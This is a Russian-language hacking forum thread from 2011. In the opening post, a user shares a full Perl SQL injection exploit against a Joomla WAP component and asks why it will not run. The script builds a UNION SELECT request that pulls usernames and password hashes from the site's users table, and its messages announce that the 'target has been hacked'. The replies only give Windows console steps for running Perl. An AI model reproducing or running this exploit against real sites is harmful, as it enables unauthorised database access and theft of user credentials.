Помогите на счёт эксплойтов

Discussion in 'Болталка' started by Like-Angel, 14 Jan 2011.

  1. Like-Angel

    Like-Angel New Member

    Joined:
    30 Jan 2010
    Messages:
    20
    Likes Received:
    0
    Reputations:
    0
    Привет Всем вот не могу запустить эксплойт

    PHP:
    #!/usr/bin/perl -w
    print
    "\t\t
     ################################################################
     ############ This exploit created by ImpLex ICQ: 444-979 #######
     ############             from WHACK.RU                   #######
     ############               WHACK.RU                      #######
     ############ wapmain.php remote sql injection exploit    #######
     ############              LETS GO!!!!                    #######
     ################################################################\n\n"
    ;
    # joomla com-wap4joomla
    use LWP::UserAgent;
    print 
    "\nEnter your target and folder fith wapversion(http://site.ru/wap): ";
            
    chomp(my $target=<STDIN>);
    print 
    "\nEnter number (0-first user probably admin)(1-10000000000 - other users): ";
            
    chomp(my $number=<STDIN>);
    print 
    "\nEnter table name with users(default jos_users(recomended) or mos_users or users) ";
            
    chomp(my $table1=<STDIN>);


    print 
    "\n[+] connecting to ... ".$target."";
    $new LWP::UserAgent->new() or die "fucking browser does not work\n";
    $new->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
    $host $target "/wapmain.php?option=onews&action=link&id=-1+union+select+1,2,3,concat(111222,0x3a3a3a,username,0x3b,password,0x3a3a3a,111222),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28+from+".$table1."+limit+".$number.",1--";
    $result $new->request(HTTP::Request->new(GET=>$host));
    $ans $result->content;
    if (
    $ans =~ /111222:::(.*?):::111222/){
                    print 
    "\n[+] User;password : $1";
                    print 
    "\n[+] password = md5(md5:salt) or md5";
                    print 
    "\n[+] target has been hacked";
                    print 
    "\n[+] If password-md5(md5:salt) => Then user - admin";
                    print 
    "\n[+] If password-md5 => Then it usual user";
    }
    else{print 
    "\n[-] Exploit Failed. Search new bugs or exploit:( \n";}
    [​IMG]

    вот такая проблема....
     
    #1 Like-Angel, 14 Jan 2011
    Last edited: 14 Jan 2011
  2. shell_c0de

    shell_c0de Hack All World

    Joined:
    7 Jul 2009
    Messages:
    1,051
    Likes Received:
    615
    Reputations:
    690
    путь то нормально правильно укажи )
    тоесть войди для начало в консоли в папку если полностью указать путь до перла влом
    c:\cd..
    cd perl
    perl exploit.pl
     
    _________________________
  3. Like-Angel

    Like-Angel New Member

    Joined:
    30 Jan 2010
    Messages:
    20
    Likes Received:
    0
    Reputations:
    0
    Can't open perl script "bin/perl.exe" :No such file or derectory
     
  4. shell_c0de

    shell_c0de Hack All World

    Joined:
    7 Jul 2009
    Messages:
    1,051
    Likes Received:
    615
    Reputations:
    690
    ты ставил сам перл ? )
    http://www.activestate.com/activeperl/downloads
     
    _________________________
  5. Like-Angel

    Like-Angel New Member

    Joined:
    30 Jan 2010
    Messages:
    20
    Likes Received:
    0
    Reputations:
    0
    нет установочный там ) что я совсем что-ли ) ну вот я всё вот так вот делаю

    cd/
    perl/bin/perl.exe название.pl что не правильно делаю *?
     
  6. shell_c0de

    shell_c0de Hack All World

    Joined:
    7 Jul 2009
    Messages:
    1,051
    Likes Received:
    615
    Reputations:
    690
    учи как работать в консоли =\
    C:\Users\FIXER>cd\
    C:\>cd perl
    C:\Perl>cd bin
    C:\Perl\bin\perl.exe exploit.pl
     
    _________________________
  7. Like-Angel

    Like-Angel New Member

    Joined:
    30 Jan 2010
    Messages:
    20
    Likes Received:
    0
    Reputations:
    0
    блин что-то у меня не получется
     
  8. LStr1ke

    LStr1ke Elder - Старейшина

    Joined:
    29 Jul 2009
    Messages:
    800
    Likes Received:
    145
    Reputations:
    73
    А ты сам эксплоит в папку C:\perl\bin положил?